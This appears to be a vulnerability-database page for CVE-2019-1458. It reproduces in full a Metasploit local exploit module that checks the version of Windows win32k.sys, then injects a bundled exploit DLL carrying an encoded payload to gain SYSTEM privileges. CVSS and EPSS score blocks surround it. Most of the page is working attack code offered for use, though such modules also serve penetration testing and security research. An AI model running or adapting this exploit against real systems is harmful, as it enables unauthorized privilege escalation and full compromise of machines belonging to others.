7.2 High
CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
0.972 High
EPSS
Percentile
99.8%
This module exploits CVE-2019-1458, an arbitrary pointer dereference vulnerability within win32k which occurs due to an uninitalized variable, which allows user mode attackers to write a limited amount of controlled data to an attacker controlled address in kernel memory. By utilizing this vulnerability to execute controlled writes to kernel memory, an attacker can gain arbitrary code execution as the SYSTEM user. This module has been tested against Windows 7 x64 SP1. Offsets within the exploit code may need to be adjusted to work with other versions of Windows. The exploit can only be triggered once against the target and can cause the target machine to reboot when the session is terminated.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Post::Windows::Priv
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Windows Uninitialized Variable Local Privilege Elevation',
'Description' => %q{
This module exploits CVE-2019-1458, an arbitrary pointer dereference vulnerability
within win32k which occurs due to an uninitalized variable, which allows user mode attackers
to write a limited amount of controlled data to an attacker controlled address
in kernel memory. By utilizing this vulnerability to execute controlled writes
to kernel memory, an attacker can gain arbitrary code execution
as the SYSTEM user.
This module has been tested against Windows 7 x64 SP1. Offsets within the
exploit code may need to be adjusted to work with other versions of Windows.
The exploit can only be triggered once against the target and can cause the
target machine to reboot when the session is terminated.
},
'License' => MSF_LICENSE,
'Author' => [
'piotrflorczyk', # poc
'unamer', # exploit
'timwr', # msf module
],
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'Targets' => [
['Windows 7 x64', { 'Arch' => ARCH_X64 }]
],
'Notes' => {
'Stability' => [ CRASH_OS_RESTARTS ],
'Reliability' => [ UNRELIABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS ]
},
'References' => [
['CVE', '2019-1458'],
['URL', 'https://github.com/unamer/CVE-2019-1458'],
['URL', 'https://github.com/piotrflorczyk/cve-2019-1458_POC'],
['URL', 'https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/'],
['URL', 'https://googleprojectzero.blogspot.com/p/rca-cve-2019-1458.html']
],
'DisclosureDate' => '2019-12-10',
'DefaultTarget' => 0,
'AKA' => [ 'WizardOpium' ]
)
)
end
def check
if session.platform != 'windows'
# Non-Windows systems are definitely not affected.
return CheckCode::Safe
end
file_path = expand_path('%WINDIR%\\system32\\win32k.sys')
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
build_num_gemversion = Rex::Version.new("#{major}.#{minor}.#{build}.#{revision}")
# Build numbers taken from https://www.qualys.com/research/security-alerts/2019-12-10/microsoft/
if (build_num_gemversion >= Rex::Version.new('6.0.6000.0')) && (build_num_gemversion < Rex::Version.new('6.0.6003.20692')) # Windows Vista and Windows Server 2008
return CheckCode::Appears
elsif (build_num_gemversion >= Rex::Version.new('6.1.7600.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.24540')) # Windows 7 and Windows Server 2008 R2
return CheckCode::Appears
elsif (build_num_gemversion >= Rex::Version.new('6.2.9200.0')) && (build_num_gemversion < Rex::Version.new('6.2.9200.22932')) # Windows 8 and Windows Server 2012
return CheckCode::Appears
elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0')) && (build_num_gemversion < Rex::Version.new('6.3.9600.19574')) # Windows 8.1 and Windows Server 2012 R2
return CheckCode::Appears
elsif (build_num_gemversion >= Rex::Version.new('10.0.10240.0')) && (build_num_gemversion < Rex::Version.new('10.0.10240.18427')) # Windows 10 v1507
return CheckCode::Appears
elsif (build_num_gemversion >= Rex::Version.new('10.0.10586.0')) && (build_num_gemversion < Rex::Version.new('10.0.10586.99999')) # Windows 10 v1511
return CheckCode::Appears
elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) && (build_num_gemversion < Rex::Version.new('10.0.14393.3383')) # Windows 10 v1607
return CheckCode::Appears
else
return CheckCode::Safe
end
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
if sysinfo['Architecture'] != ARCH_X64
fail_with(Failure::NoTarget, 'Running against 32-bit systems is not supported')
end
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Triggering the exploit...')
encoded_payload = payload.encoded
execute_dll(
::File.join(::Msf::Config.data_directory, 'exploits', 'CVE-2019-1458', 'exploit.dll'),
[encoded_payload.length].pack('I<') + encoded_payload
)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end
7.2 High
CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
0.972 High
EPSS
Percentile
99.8%